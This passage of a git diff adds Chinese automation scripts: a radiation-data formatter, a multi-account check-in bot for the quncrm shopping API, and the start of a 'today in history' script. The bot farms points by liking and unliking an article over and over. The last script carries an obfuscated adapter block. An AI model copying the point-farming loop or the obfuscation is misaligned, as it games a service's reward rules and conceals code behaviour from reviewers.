nGy/h","date":"2025-04-29"},{"city":"内蒙 (内蒙古环境监测中心站)","value":"106 nGy/h","date":"2025-04-29"},{"city":"辽宁 (沈阳市东陵站)","value":"68 nGy/h","date":"2025-04-29"},{"city":"吉林 (长春青年路站)","value":"75 nGy/h","date":"2025-04-29"},{"city":"黑龙江 (哈尔滨海星街站)","value":"95 nGy/h","date":"2025-04-29"},{"city":"上海 (普陀沪太路站)","value":"66 nGy/h","date":"2025-04-29"},{"city":"江苏 (南京新城科技园站)","value":"58 nGy/h","date":"2025-04-29"},{"city":"浙江 (杭州三义村站)","value":"84 nGy/h","date":"2025-04-29"},{"city":"安徽 (合肥怀宁路站)","value":"74 nGy/h","date":"2025-04-29"},{"city":"福建 (福州市福飞北路站)","value":"102 nGy/h","date":"2025-04-29"},{"city":"江西 (南昌洪都北大道站)","value":"74 nGy/h","date":"2025-04-29"},{"city":"山东 (济南经十路站)","value":"68 nGy/h","date":"2025-04-29"}]} + + // console.log(radiationData) + + // const formatRadiation = (data) => + // data.map(item => { + // const valueNum = parseFloat(item.value); + // return `🌐 ${item.city}\n${getMeterEmoji(valueNum)} 剂量率:${item.value} \n📅 ${item.date}`; + // }).join('\n\n'); + + // 省份过滤逻辑 + const filterByProvince = (data, target) => { + const provinceMap = { + // 直辖市 + "北京": "北京", + "北京市": "北京", + "北平": "北京", // 兼容历史称呼 + "沪": "上海", + "申城": "上海", + "津": "天津", + "渝": "重庆", + + // 自治区 + "内蒙": "内蒙古", + "内蒙古": "内蒙古", + "宁夏": "宁夏回族自治区", + "宁夏回族": "宁夏回族自治区", + "新疆": "新疆维吾尔自治区", + "新疆省": "新疆维吾尔自治区", + "西藏": "西藏自治区", + "藏区": "西藏自治区", + "广西": "广西壮族自治区", + "广西省": "广西壮族自治区", + + // 特别行政区 + "香港": "香港特别行政区", + "HK": "香港特别行政区", + "澳门": "澳门特别行政区", + "MAC": "澳门特别行政区", + "台湾": "台湾省", + "TW": "台湾省", + + // 省份(含常见简称) + "黑省": "黑龙江", + "黑龙江": "黑龙江", + "吉省": "吉林", + "吉林": "吉林", + "辽省": "辽宁", + "辽宁": "辽宁", + + "冀": "河北", + "河北": "河北", + "晋": "山西", + "山西": "山西", + + "鲁": "山东", + "山东": "山东", + "苏": "江苏", + "江苏": "江苏", + "浙": "浙江", + "浙江": "浙江", + "皖": "安徽", + "安徽": "安徽", + "闽": "福建", + "福建": "福建", + "赣": "江西", + "江西": "江西", + + "豫": "河南", + "河南": "河南", + "鄂": "湖北", + "湖北": "湖北", + "湘": "湖南", + "湖南": "湖南", + + "粤": "广东", + "广东": "广东", + "琼": "海南", + "海南": "海南", + + "蜀": "四川", + "川": "四川", + "四川": "四川", + "黔": "贵州", + "贵州": "贵州", + "滇": "云南", + "云南": "云南", + + "陕": "陕西", + "秦": "陕西", + "陕西": "陕西", + "甘": "甘肃", + "陇": "甘肃", + "甘肃": "甘肃", + "青": "青海", + "青海": "青海" + }; + + // 当目标为"全国"或未定义时直接返回全部 + if (!target || target === "全国") return data; + + const normalizedProvince = provinceMap[target] || target; + // console.log(normalizedProvince) + return data.filter(item => + item.city.startsWith(normalizedProvince) + // console.log(item.city.startsWith(normalizedProvince)) + ); + }; + + // 改造格式化函数 + const formatRadiation = (data) => { + const filteredData = province === "全国" ? + data : + filterByProvince(data, province); + // [{"city":"北京 (北京万柳中路站)","value":"92 nGy/h","date":"2025-04-29"}] + // console.log(filteredData) + if(filteredData.length === 0){ + return `❌ 未找到【${province}】的监测数据`; + } + + item = filteredData[0] + const doseValue = parseFloat(item.value.match(/\d+/)[0]); + return `📅 ${item.date}\n🌐 ${item.city}\n${getMeterEmoji(doseValue)} 剂量率:${item.value}` + // return filteredData.map(item => { + // // 从"91 nGy/h"提取数值 + // const doseValue = parseFloat(item.value.match(/\d+/)[0]); + // // console.log(`🌐 ${item.city} \n ${getMeterEmoji(doseValue)} 剂量率:${item.value} \n 📅 ${item.date}`) + // return `🌐 ${item.city} \n ${getMeterEmoji(doseValue)} 剂量率:${item.value} \n 📅 ${item.date}`; + // }).join('\n\n'); + }; + + // 辅助函数:生成动态仪表符号 + const getMeterEmoji = (val) => { + return `${val < 80 ? '🟢' : val < 120 ? '🟡' : '🔴'}`; + }; + + content = formatRadiation(radiationData.data) + messageSuccess += content + // console.log(content) + + // 青龙适配,青龙微适配 + flagResultFinish = 1; // 结束 + + // 检查是否直接推送 + flag_pushdirect = Application.Range("D" + pos).Text + // flag_pushdirect = "否" // 测试 + if(flag_pushdirect == "是") { + // console.log("🚀 直接推送") + // pushDirect(messageSuccess); + message = messageSuccess + // 方式1:按照指定分割符分片 separator + shards = message.split(separator); // // 分割符分片数据,一级分割 + let chunks = [] + for(let i=0; i { + await getNotice(); + await main(); + await SendMsg(msg); + +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()); +//==================================脚本入口函数main()============================================================== + +async function main() { + if (env == '') { + //没有设置变量,直接退出 + console.log(`没有填写变量,请查看脚本说明: ${env_name}🚳`) + return + } + let user_ck = env.split('\n') + DoubleLog(`\n========= 共找到 ${user_ck.length} 个账号 =========`); + let index = 1 //用来给账号标记序号, 从1开始 + for (let ck of user_ck) { + if (!ck) continue //跳过空行 + let ck_info = ck.split('&') + let Id = ck_info[0] + let token = ck_info[1] + //let deviceCode = ck_info[2] + let user = { + index: index, + Id, + token, + //deviceCode, + } + index = index + 1 //每次用完序号+1 + //开始账号任务 + let Run = new run(user); + await Run.userTask(user) + //每个账号之间等1~5秒随机时间 + let rnd_time = Math.floor(Math.random() * 4000) + 1000 + console.log(`随机等待${rnd_time / 1000}秒...`) + await $.wait(rnd_time) + } +} +// ======================================开始任务========================================= +class run { + constructor(user) { + //this.token = '', + this.headers = { + "Content-Type": 'application/json', + "x-access-token": user.token, + "x-account-id": user.Id, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 17_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.48(0x18003030) NetType/WIFI Language/zh_CN", + } + + } +async userTask(user) { + console.log(`\n========= 账号[${user.index}]开始任务 =========`) + await this.Login(user) + await wait(1) + await this.Reward(user) + await this.sign(user) + await wait(1) + await this.Reward(user) + await this.sign(user) + await this.account(user) +} +// ============================================================================================================================= +//签到 +async Login(user) { + try { + DoubleLog(`🕊账号[${user.index}] 签到...`); + + //console.log(formattedDate); + let urlObject = { + method: 'post', + url: `https://consumer-api.quncrm.com/modules/campaigncenter/signin?maijsVersion=1.50.0&clientId=0191a818-750c-56ee-0ba8-8442d8ff94f0&appVersion=1.94.0.2368f2fbb1c&appName=群脉电商&envVersion=release&clientTime=2024-08-31T19:01:42.280+08:00`, + headers: this.headers, + data: { + "templateIds": [] + } + } + //console.log(urlObject); + let { data: result} = await axios.request(urlObject) + //console.log(result); + if (result?.rewardGroup) { + //打印签到结果 + DoubleLog(`🕊账号[${user.index}] 签到成功,获得[${result.rewardGroup[1].score}]积分🎉`); + + }else{ + DoubleLog(`🕊账号[${user.index}] 签到失败:${e.response.data.message}⛔`) + } + } catch (e) { + //this.result = e.data.message + DoubleLog(`🕊账号[${user.index}] 签到失败:${e.response.data.message}⛔`); + } +} +//点赞 +async sign(user) { + try { + DoubleLog(`🕊账号[${user.index}] 完成点赞任务...`); + + //console.log(formattedDate); + let urlObject = { + method: 'post', + url: `https://consumer-api.quncrm.com/modules/forum/article/add-to-fav/66cfd221cb668d5373070f54?maijsVersion=1.50.0&clientId=0191a818-750c-56ee-0ba8-8442d8ff94f0&appVersion=1.94.0.2368f2fbb1c&appName=群脉电商&envVersion=release&clientTime=2024-08-31T19:18:04.856+08:00`, + headers: this.headers, + data: { + + } + } + //console.log(urlObject); + let { data: result} = await axios.request(urlObject) + //console.log(result); + if (result) { + //打印签到结果 + DoubleLog(`🕊账号[${user.index}] 任务成功:获得[5]积分🎉`); + this.mist = result.data.spanSumDays + }else{ + DoubleLog(`🕊账号[${user.index}] 任务成功:获得[5]积分🎉`) + } + } catch (e) { + console.log(e); + } +} +// 取消点赞 +async Reward(user) { + try { + console.log(`🕊账号[${user.index}] ⌛️...`); + + //console.log(formattedDate); + let urlObject = { + method: 'post', + url: `https://consumer-api.quncrm.com/modules/forum/article/remove-from-fav/66cfd221cb668d5373070f54?maijsVersion=1.50.0&clientId=0191a818-750c-56ee-0ba8-8442d8ff94f0&appVersion=1.94.0.2368f2fbb1c&appName=群脉电商&envVersion=release&clientTime=2024-08-31T19:19:59.303+08:00`, + headers: this.headers, + data: { + + } + } + //console.log(urlObject); + let { data: result} = await axios.request(urlObject) + //console.log(result); + if (result) { + //打印签到结果 + console.log(`🕊账号[${user.index}] 任务成功🎉`); + }else{ + console.log(`🕊账号[${user.index}] 任务成功🎉`) + } + } catch (e) { + console.log(e); + } +} +//账户积分 +async account(user) { + try { + + let urlObject = { + method: 'get', + url: `https://consumer-api.quncrm.com/v2/member/scoreHistories?maijsVersion=1.50.0&clientId=0191a818-750c-56ee-0ba8-8442d8ff94f0&appVersion=1.94.0.2368f2fbb1c&appName=群脉电商&envVersion=release&page=1&perPage=20&listCondition.orderBy[]=-createdAt&listCondition.page=1&clientTime=2024-08-31T19:52:56.809+08:00`, + headers: this.headers, + }; + let { data: result } = await axios.request(urlObject) + //console.log(result); + if (result) { + DoubleLog(`🕊账号[${user.index}] 账户当前积分${result.items[0].balance}🎉`) + }else { + DoubleLog(`🕊账号[${user.index}] 查询当前积分失败:${result.message}⛔`) + } + } catch (e) { + //打印错误信息 + console.log(e) + } +} +} +/** + * =========================================================发送消息============================================= + */ +async function SendMsg(message) { + if (!message) return; + if (Notify > 0) { + if ($.isNode()) { + var notify = require("./sendNotify"); + await notify.sendNotify($.name, message); + } else { + // $.msg(message); + $.msg($.name, '', message) + } + } else { + console.log(message); + } +} +/** + * =====================================================双平台log输出========================================== + */ +function DoubleLog(data) { + if ($.isNode()) { + if (data) { + console.log(`${data}`); + msg += `\n${data}`; + } + } else { + console.log(`${data}`); + msg += `\n${data}`; + } + +} +/** +* ======================================================等待 X 秒============================================ +*/ +function wait(n) { + return new Promise(function (resolve) { + setTimeout(resolve, n * 1000); + }); +} +/** +* ======================================================随机等待 1-5 秒============================================ +*/ +function sjwait() { + return new Promise(function (resolve) { + let waitTime = Math.floor(Math.random() * 4000 + 1000); + setTimeout(resolve, waitTime); + }); +} +// ==========================================================13位时间戳===================================================== +function getTimestamp() { + return new Date().getTime(); +} +//===============================================网络请求httpRequest========================================= +function httpRequest(options, timeout = 1 * 1000) { + method = options.method ? options.method.toLowerCase() : options.body ? "post" : "get"; + return new Promise(resolve => { + setTimeout(() => { + $[method](options, (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)); + $.logErr(err); + } else { + try { data = JSON.parse(data); } catch (error) { } + } + } catch (e) { + console.log(e); + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }, timeout) + }) +} +//==============================================Debug模式=============================================== +function debugLog(...args) { + if (debug) { + console.log(...args); + } +} +//===============================================获取远程通知======================================== +async function getNotice() { + try { + const urls = [ + "https://github.com/3288588344/toulu/blob/main/tl.json", + + ]; + let notice = null; + for (const url of urls) { + const options = { url, headers: { "User-Agent": "" }, }; + const result = await httpRequest(options); + if (result && "notice" in result) { + notice = result.notice.replace(/\\n/g, "\n"); + break; + } + } + if (notice) { $.DoubleLog(notice); } + } catch (e) { + console.log(e); + } +} +//=============================================================================================================================================== +//================================================固定API=============================================================================================== +function Env(t, e) { class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return ("POST" === e && (s = this.post), new Promise((e, a) => { s.call(this, t, (t, s, r) => { t ? a(t) : e(s) }) })) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new (class { constructor(t, e) { this.userList = []; this.userIdx = 0; (this.name = t), (this.http = new s(this)), (this.data = null), (this.dataFile = "box.dat"), (this.logs = []), (this.isMute = !1), (this.isNeedRewrite = !1), (this.logSeparator = "\n"), (this.encoding = "utf-8"), (this.startTime = new Date().getTime()), Object.assign(this, e), this.log("", `🔔${this.name},开始!`) } getEnv() { return "undefined" != typeof $environment && $environment["surge-version"] ? "Surge" : "undefined" != typeof $environment && $environment["stash-version"] ? "Stash" : "undefined" != typeof module && module.exports ? "Node.js" : "undefined" != typeof $task ? "Quantumult X" : "undefined" != typeof $loon ? "Loon" : "undefined" != typeof $rocket ? "Shadowrocket" : void 0 } isNode() { return "Node.js" === this.getEnv() } isQuanX() { return "Quantumult X" === this.getEnv() } isSurge() { return "Surge" === this.getEnv() } isLoon() { return "Loon" === this.getEnv() } isShadowrocket() { return "Shadowrocket" === this.getEnv() } isStash() { return "Stash" === this.getEnv() } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const a = this.getdata(t); if (a) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise((e) => { this.get({ url: t }, (t, s, a) => e(a)) }) } runScript(t, e) { return new Promise((s) => { let a = this.getdata("@chavy_boxjs_userCfgs.httpapi"); a = a ? a.replace(/\n/g, "").trim() : a; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); (r = r ? 1 * r : 20), (r = e && e.timeout ? e.timeout : r); const [i, o] = a.split("@"), n = { url: `http://${o}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": i, Accept: "*/*" }, timeout: r, }; this.post(n, (t, e, a) => s(a)) }).catch((t) => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { (this.fs = this.fs ? this.fs : require("fs")), (this.path = this.path ? this.path : require("path")); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), a = !s && this.fs.existsSync(e); if (!s && !a) return {}; { const a = s ? t : e; try { return JSON.parse(this.fs.readFileSync(a)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { (this.fs = this.fs ? this.fs : require("fs")), (this.path = this.path ? this.path : require("path")); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), a = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : a ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const a = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of a) if (((r = Object(r)[t]), void 0 === r)) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), (e.slice(0, -1).reduce((t, s, a) => Object(t[s]) === t[s] ? t[s] : (t[s] = Math.abs(e[a + 1]) >> 0 == +e[a + 1] ? [] : {}), t)[e[e.length - 1]] = s), t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, a] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, a, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, a, r] = /^@(.*?)\.(.*?)$/.exec(e), i = this.getval(a), o = a ? ("null" === i ? null : i || "{}") : "{}"; try { const e = JSON.parse(o); this.lodash_set(e, r, t), (s = this.setval(JSON.stringify(e), a)) } catch (e) { const i = {}; this.lodash_set(i, r, t), (s = this.setval(JSON.stringify(i), a)) } } else s = this.setval(t, e); return s } getval(t) { switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": return $persistentStore.read(t); case "Quantumult X": return $prefs.valueForKey(t); case "Node.js": return (this.data = this.loaddata()), this.data[t]; default: return (this.data && this.data[t]) || null } } setval(t, e) { switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": return $persistentStore.write(t, e); case "Quantumult X": return $prefs.setValueForKey(t, e); case "Node.js": return ((this.data = this.loaddata()), (this.data[e] = t), this.writedata(), !0); default: return (this.data && this.data[e]) || null } } initGotEnv(t) { (this.got = this.got ? this.got : require("got")), (this.cktough = this.cktough ? this.cktough : require("tough-cookie")), (this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar()), t && ((t.headers = t.headers ? t.headers : {}), void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = () => { }) { switch ((t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"], delete t.headers["content-type"], delete t.headers["content-length"]), this.getEnv())) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": default: this.isSurge() && this.isNeedRewrite && ((t.headers = t.headers || {}), Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, a) => { !t && s && ((s.body = a), (s.statusCode = s.status ? s.status : s.statusCode), (s.status = s.statusCode)), e(t, s, a) }); break; case "Quantumult X": this.isNeedRewrite && ((t.opts = t.opts || {}), Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then((t) => { const { statusCode: s, statusCode: a, headers: r, body: i, bodyBytes: o, } = t; e(null, { status: s, statusCode: a, headers: r, body: i, bodyBytes: o, }, i, o) }, (t) => e((t && t.error) || "UndefinedError")); break; case "Node.js": let s = require("iconv-lite"); this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), (e.cookieJar = this.ckjar) } } catch (t) { this.logErr(t) } }).then((t) => { const { statusCode: a, statusCode: r, headers: i, rawBody: o, } = t, n = s.decode(o, this.encoding); e(null, { status: a, statusCode: r, headers: i, rawBody: o, body: n, }, n) }, (t) => { const { message: a, response: r } = t; e(a, r, r && s.decode(r.rawBody, this.encoding)) }) } } post(t, e = () => { }) { const s = t.method ? t.method.toLocaleLowerCase() : "post"; switch ((t.body && t.headers && !t.headers["Content-Type"] && !t.headers["content-type"] && (t.headers["content-type"] = "application/x-www-form-urlencoded"), t.headers && (delete t.headers["Content-Length"], delete t.headers["content-length"]), this.getEnv())) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": default: this.isSurge() && this.isNeedRewrite && ((t.headers = t.headers || {}), Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient[s](t, (t, s, a) => { !t && s && ((s.body = a), (s.statusCode = s.status ? s.status : s.statusCode), (s.status = s.statusCode)), e(t, s, a) }); break; case "Quantumult X": (t.method = s), this.isNeedRewrite && ((t.opts = t.opts || {}), Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then((t) => { const { statusCode: s, statusCode: a, headers: r, body: i, bodyBytes: o, } = t; e(null, { status: s, statusCode: a, headers: r, body: i, bodyBytes: o, }, i, o) }, (t) => e((t && t.error) || "UndefinedError")); break; case "Node.js": let a = require("iconv-lite"); this.initGotEnv(t); const { url: r, ...i } = t; this.got[s](r, i).then((t) => { const { statusCode: s, statusCode: r, headers: i, rawBody: o, } = t, n = a.decode(o, this.encoding); e(null, { status: s, statusCode: r, headers: i, rawBody: o, body: n }, n) }, (t) => { const { message: s, response: r } = t; e(s, r, r && a.decode(r.rawBody, this.encoding)) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date(); let a = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds(), }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in a) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? a[e] : ("00" + a[e]).substr(("" + a[e]).length))); return t } queryStr(t) { let e = ""; for (const s in t) { let a = t[s]; null != a && "" !== a && ("object" == typeof a && (a = JSON.stringify(a)), (e += `${s}=${a}&`)) } return (e = e.substring(0, e.length - 1)), e } msg(e = t, s = "", a = "", r) { const i = (t) => { switch (typeof t) { case void 0: return t; case "string": switch (this.getEnv()) { case "Surge": case "Stash": default: return { url: t }; case "Loon": case "Shadowrocket": return t; case "Quantumult X": return { "open-url": t }; case "Node.js": return }case "object": switch (this.getEnv()) { case "Surge": case "Stash": case "Shadowrocket": default: { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } case "Loon": { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } case "Quantumult X": { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl, a = t["update-pasteboard"] || t.updatePasteboard; return { "open-url": e, "media-url": s, "update-pasteboard": a, } } case "Node.js": return }default: return } }; if (!this.isMute) switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": default: $notification.post(e, s, a, i(r)); break; case "Quantumult X": $notify(e, s, a, i(r)); break; case "Node.js": }if (!this.isMuteLog) { let t = ["", "==============📣系统通知📣==============",]; t.push(e), s && t.push(s), a && t.push(a), console.log(t.join("\n")), (this.logs = this.logs.concat(t)) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": case "Quantumult X": default: this.log("", `❗️${this.name},错误!`, t); break; case "Node.js": this.log("", `❗️${this.name},错误!`, t.stack) } } wait(t) { return new Promise((e) => setTimeout(e, t)) } DoubleLog(d) { if (this.isNode()) { if (d) { console.log(`${d}`); msg += `\n ${d}` } } else { console.log(`${d}`); msg += `\n ${d}` } } async SendMsg(m) { if (!m) return; if (Notify > 0) { if (this.isNode()) { var notify = require("../sendNotify"); await notify.sendNotify(this.name, m) } else { this.msg(this.name, "", m) } } else { console.log(m) } } done(t = {}) { const e = new Date().getTime(), s = (e - this.startTime) / 1e3; switch ((this.log("", `🔔${this.name},结束!🕛${s}秒`), this.log(), this.getEnv())) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": case "Quantumult X": default: $done(t); break; case "Node.js": process.exit(1) } } })(t, e) } +//Env rewrite:smallfawn Update-time:23-6-30 newAdd:DoubleLog & SendMsg \ No newline at end of file diff --git a/脚本库/web版/账密/历史上的今天/2025-08-25_todayhistory_71ae3a46.js b/脚本库/web版/账密/历史上的今天/2025-08-25_todayhistory_71ae3a46.js new file mode 100644 index 0000000..6845a05 --- /dev/null +++ b/脚本库/web版/账密/历史上的今天/2025-08-25_todayhistory_71ae3a46.js @@ -0,0 +1,656 @@ +// # Source: https://github.com/imoki/sign_script/blob/main/polymerization/todayhistory.js +// # Raw: https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/todayhistory.js +// # Repo: imoki/sign_script +// # Path: polymerization/todayhistory.js +// # UploadedAt: 2025-08-25T21:29:14+08:00 +// # SHA256: 71ae3a462d8366ace26b01c472343fee038d4e45d78b6286265cb9686aa825fd +// # Category: web版/账密 +// # Evidence: web/H5关键词 + username/password/login +// + +/* + name: "历史上的今天" + cron: 45 0 9 * * * + 脚本兼容: 金山文档(1.0),金山文档(2.0) + 更新时间:20240406 + 环境变量名:todayhistory(修改这里) + 环境变量值:无(修改这里) + 备注:历史上的今天 +*/ + +const logo = "艾默库 : https://github.com/imoki/sign_script" // 仓库地址 +var sheetNameSubConfig = "todayhistory"; // 分配置表名称, (修改这里) +var pushHeader = "【历史上的今天】"; // (修改这里) +var sheetNameConfig = "CONFIG"; // 总配置表 +var sheetNamePush = "PUSH"; // 推送表名称 +var sheetNameEmail = "EMAIL"; // 邮箱表 +var flagSubConfig = 0; // 激活分配置工作表标志 +var flagConfig = 0; // 激活主配置工作表标志 +var flagPush = 0; // 激活推送工作表标志 +var line = 21; // 指定读取从第2行到第line行的内容 +var message = ""; // 待发送的消息 +var messageArray = []; // 待发送的消息数据,每个元素都是某个账号的消息。目的是将不同用户消息分离,方便个性化消息配置 +var messageOnlyError = 0; // 0为只推送失败消息,1则为推送成功消息。 +var messageNickname = 0; // 1为推送位置标识(昵称/单元格Ax(昵称为空时)),0为不推送位置标识 +var messageHeader = []; // 存放每个消息的头部,如:单元格A3。目的是分离附加消息和执行结果消息 +var messagePushHeader = pushHeader; // 存放在总消息的头部,默认是pushHeader,如:【xxxx】 +var version = 1 // 版本类型,自动识别并适配。默认为airscript 1.0,否则为2.0(Beta) +var separator = "##########MOKU##########" // 分割符,分割消息。可用于PUSH.js灵活推送 +var maxMessageLength = 400; // 设置最大长度,超过这个长度则分片发送 +var messageDistance = 100; // 消息距离,用于匹配100字符内最近的行 + +var jsonPush = [ + { name: "bark", key: "xxxxxx", flag: "0" }, + { name: "pushplus", key: "xxxxxx", flag: "0" }, + { name: "ServerChan", key: "xxxxxx", flag: "0" }, + { name: "email", key: "xxxxxx", flag: "0" }, + { name: "dingtalk", key: "xxxxxx", flag: "0" }, + { name: "discord", key: "xxxxxx", flag: "0" }, +]; // 推送数据,flag=1则推送 +var jsonEmail = { + server: "", + port: "", + sender: "", + authorizationCode: "", +}; // 有效邮箱配置 + +// =================青龙适配开始=================== + +// 艾默库青龙适配代码 +// v2.6.2 + +try{ + var userContent=[[")\u4E2A02\u8BA4\u9ED8(eikooc".split("").reverse().join(""),")\u5426/\u662F(\u884C\u6267\u5426\u662F".split("").reverse().join(""),")\u5199\u586B\u4E0D\u53EF(\u79F0\u540D\u53F7\u8D26".split("").reverse().join("")]];var configContent=[["\u5de5\u4f5c\u8868\u7684\u540d\u79f0","\u6CE8\u5907".split("").reverse().join(""),"\u53ea\u63a8\u9001\u5931\u8d25\u6d88\u606f\uff08\u662f\u002f\u5426\uff09","\u63a8\u9001\u6635\u79f0\uff08\u662f\u002f\u5426\uff09"],[sheetNameSubConfig,pushHeader,"\u5426","\u662f"]];var qlpushFlag=0xed2aa^0xed2aa;var qlSheet=[];var colNum=["\u0041",'B','C',"\u0044","\u0045",'F',"\u0047","\u0048","\u0049",'J','K','L','M','N',"\u004f","\u0050",'Q'];qlConfig={'CONFIG':configContent,"\u0053\u0055\u0042\u0043\u004f\u004e\u0046\u0049\u0047":userContent};var posHttp=0xee242^0xee242;var flagFinish=0x31353^0x31353;var flagResultFinish=0xc6811^0xc6811;var HTTPOverwrite={'get':function get(_0x8a99d9,_0x350907){_0x350907=_0x350907['headers'];let _0x1f12ec=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x8a99d9,{"\u006d\u0065\u0074\u0068\u006f\u0064":method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x350907})["\u0074\u0068\u0065\u006e"](function(_0x2c1fb0){return _0x2c1fb0["\u0074\u0065\u0078\u0074"]()['then'](_0xb09c64=>{return{'status':_0x2c1fb0["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x2c1fb0['headers'],"\u0074\u0065\u0078\u0074":_0xb09c64,'response':_0x2c1fb0,"\u0070\u006f\u0073":_0x1f12ec};});})["\u0074\u0068\u0065\u006e"](function(_0x3872ad){try{data=JSON['parse'](_0x3872ad['text']);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x3872ad["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x3872ad['headers'],'json':function _0x352161(){return data;},"\u0074\u0065\u0078\u0074":function _0x29f35f(){return _0x3872ad["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3872ad["\u0070\u006f\u0073"]};}catch(_0x566df2){return{'status':_0x3872ad['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x3872ad["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],"\u006a\u0073\u006f\u006e":null,'text':function _0x2fbf50(){return _0x3872ad['text'];},'pos':_0x3872ad["\u0070\u006f\u0073"]};}})["\u0074\u0068\u0065\u006e"](_0x2c1f58=>{_0x1f12ec=_0x2c1f58["\u0070\u006f\u0073"];flagResultFinish=resultHandle(_0x2c1f58,_0x1f12ec);if(flagResultFinish==(0xdbc9d^0xdbc9c)){i=_0x1f12ec+(0x573c0^0x573c1);for(;i<=line;i++){var _0x1cb220=Application['Range']('A'+i)['Text'];var _0x2267f8=Application['Range']('B'+i)["\u0054\u0065\u0078\u0074"];if(_0x1cb220=="".split("").reverse().join("")){break;}if(_0x2267f8=="\u662f"){console["\u006c\u006f\u0067"]('🧑\x20开始执行用户:'+(parseInt(i)-(0xeff03^0xeff02)));flagResultFinish=0xee64b^0xee64b;execHandle(_0x1cb220,i);break;}}}if(_0x1f12ec==userContent['length']&&flagResultFinish==(0x49187^0x49186)){flagFinish=0x80f74^0x80f75;}if(qlpushFlag==(0xae610^0xae610)&&flagFinish==0x1){console['log']("\u9001\u63A8\u8D77\u53D1\u9F99\u9752 \uDE80\uD83D".split("").reverse().join(""));message=messageMerge();const{sendNotify:_0x25bcc}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x25bcc(pushHeader,message);qlpushFlag=-0x64;}})["\u0063\u0061\u0074\u0063\u0068"](_0x203eb4=>{console['error'](":rorre hcteF".split("").reverse().join(""),_0x203eb4);});},'post':function post(_0x13ae92,_0x5b8821,_0x44b685,_0x55317c){_0x44b685=_0x44b685['headers'];contentType=_0x44b685['Content-Type'];contentType2=_0x44b685["\u0063\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0074\u0079\u0070\u0065"];var 